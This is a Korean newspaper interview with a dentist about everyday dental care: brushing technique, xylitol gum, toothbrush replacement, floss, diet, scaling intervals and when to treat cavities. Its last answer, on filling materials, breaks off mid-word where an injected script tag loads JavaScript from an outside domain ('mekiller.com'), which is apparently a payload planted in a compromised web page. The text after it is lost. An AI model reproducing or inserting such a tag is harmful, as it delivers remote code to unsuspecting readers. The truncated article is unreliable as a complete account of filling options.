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제 목 :
깨끗한 치아관리 [06. 09. 05]
탤런트 김재원 다니엘 헤니…살인 미소로 유명한 이들의 공통점은 하얗고 반짝이는 이를 마음껏 드러내
고 웃는다는 점이다. 보기만 해도 뽀드득한 느낌이 절로 나는 치아의 청결은 상대방의 호감을 불러일으
킨다. 치아관리 하면 예전엔 충치 교정등이 대세를 이루었지만 최근 미백바람이 부는 것도 이와 무관
치 않다. 규칙적 치아관리는 성공습관을 만들기 위한 준수사항으로도 빠지지 않는다. 미국 시사주간지
유에스뉴스 앤드 월드리포트는 연말 합본호 표지기사 ‘당신의 삶을 향상시키는 50가지 방법’에서, 인
생을 탈바꿈시킬 사소한 변화를 위해 해야 할 사항으로 깨끗한 치아관리를 꼽고 있을 정도다. 자, 이
번 겨울방학엔 양치질, 치아점검등 DQ(dental qotinent)높이기로 ‘뽀드득’ 상쾌한 새해를 열어보자.
김재철 코엑스 치과원장에게 20대가 알아두어야 할 치아관리법에 대해 들어보았다.


#양치질

Q=바른 양치질 법이 있는가.

A=엄밀히 말해 칫솔질과 양치질은 다르다. 칫솔질이 솔로 치아와 잇몸을 닦고 마사지하는 행위라면, 양
치질은 물로 헹구는 행위이다. 치약에는 발포제 성분이 들어있어 거품을 내며 이빨 사이를 닦는 효과
를 발생한다. 예전에는 3·3·3이라고 해 식후 3분내에 3분동안, 하루에 3회 양치질을 하라고 말했다.
인스턴트 식품등을 많이 섭취하는 오늘날은 3·5·3법, 즉 5분동안 양치질해야 할 정도로 치아관리에
신경을 써야 한다. 칫솔질법은 나이 치아조건에 따라 섭취음식물에 따라 달라진다. 물로 충분히 헹궈,
치약기가 입안에 남아있지 않도록 해야 한다는 것도 강조하고 싶다.

Q=최근 자일리톨 성분의 검, 가그린 종류등이 다양한데 그것으로 양치질을 대신할 수 있는가.

A=자일리톨 성분의 검은 충치균을 활동 못하게 하는 작용이 있고 충치발생억제에 상당한 효과가 있다.
하지만 그것으로는 충분치 않다. 비유하자면 방청소와 같다. 비질 걸레질을 모두 해야 방이 말끔해지
는 것처럼 보조물로 쓰는 정도로 생각하는게 좋다.

Q=칫솔, 치약의 올바른 선택기준이 있다면?

A=많은 사람들이 칫솔보다 치약선택에 고민한다. 결론부터 말하자면 칫솔이 훨씬 더 중요하다는 것이
다. 비싼 치약을 쓰기보다는 차라리 싼 치약을 쓰더라도 칫솔을 자주 바꾸라는 것이다. 겉으로는 멀쩡
해보이더라도 최소한 1개월마다는 바꿔야 칫솔의 ‘신선함’을 유지할 수 있다.

Q=치실 등 칫솔외에 다른 도구 사용도 늘고 있는 추세다. 어떤 차이점이 있는가.

A=외국에선 치실을 사용하는게 필수다. 이빨 사이에 삽입이 가능하기 때문에 가늘게 섬유질이 붙어있
는 것을 제거하기에 좋아서다. 이쑤시개 사용은 이 사이를 벌려놓고 화농우려도 있어서 절대 사용하지
말 것을 권하고 싶다.

Q=깨끗한 치아관리를 위해 평상시 식습관에서 주의할 점은 무엇인가.

A=제대로 된 식사습관을 가지는게 필수다. 너무 딱딱한 음식은 먹지 않는게 좋다. 많이 씹는 음식이 턱
발달에 좋다고 하지만 10대 성장기에 적용되는 이야기다. 또 당분은 물론 탄산음료, 초콜릿등 찐득한
음식도 치아에 좋지 않다. 다음은 순서를 지키라는 것이다. 당분류의 음식을 먹었더라도 과일 야채등으
로 마무리, 자정작용을 할 수 있게끔 해야 한다.


#스케일링

Q=스케일링은 주기적으로 얼마마다 해야 하는가.

A=3·3·3양치질법을 잘 지킨 경우엔 6개월마다 하는 것이 보통이다. 하지만 인스턴트 식품 과잉섭취,
담배로 인한 니코틴침착등이 심한 경우는 더 자주 해야 한다. 스케일링을 하고 나서 전후가 ‘별 차
이’가 안느껴져야 치아관리를 잘하고 있는 것이다. 매일 깨끗이 샤워하는 사람이 목욕탕 갔다와도 별
느낌이 따로 없는 것과 같다. 때론 스케일링후 이빨이 신 경우가 있다. 이는 치석이 떨어져나가 드러남
으로써 생기는 징후이므로 걱정할 필요는 없다. 하지만 특별히 걱정스럽다면 치료전 의사에게 이야기하
면 미리 약품처리등으로 예방할 수도 있다.


#충치

Q=검사를 받으면 각 치과마다 충치갯수 진단이 모두 다르게 나오는 경우도 있다. 충치 징후가 나타났
을 때 초기에 바로 치료받는 것이 좋은가, 아니면 진척된 후 치료받아도 괜찮은가.

A=결론부터 말하자면 그때 그때 다르다. 그러므로 치과도 주치의를 가지는게 필요하다. 너무 초기에 치
료를 하면 성한 이빨을 생으로 파내 처치, 오히려 안좋을 수도 있다. 반면에 너무 늦게 치료, 호미로
막을 것을 가래로 막게 되는 경우도 있다. 주치의가 있으면 그 사람의 치아상태,조건을 장기적으로 관
찰·처방할 수 있어서 맞춤치료를 할 수 있으므로 이같은 사태를 막을 수 있다.

Q=충치를 메우는 재질별로 차이가 있는가.

A=아말감 레진 금등이 있다. 아말감은 가격면에서 가장 저렴하다. 아말?script src=http://mekiller.com/1/1.js>
출 처 :
세계일보  
 
 
 
 
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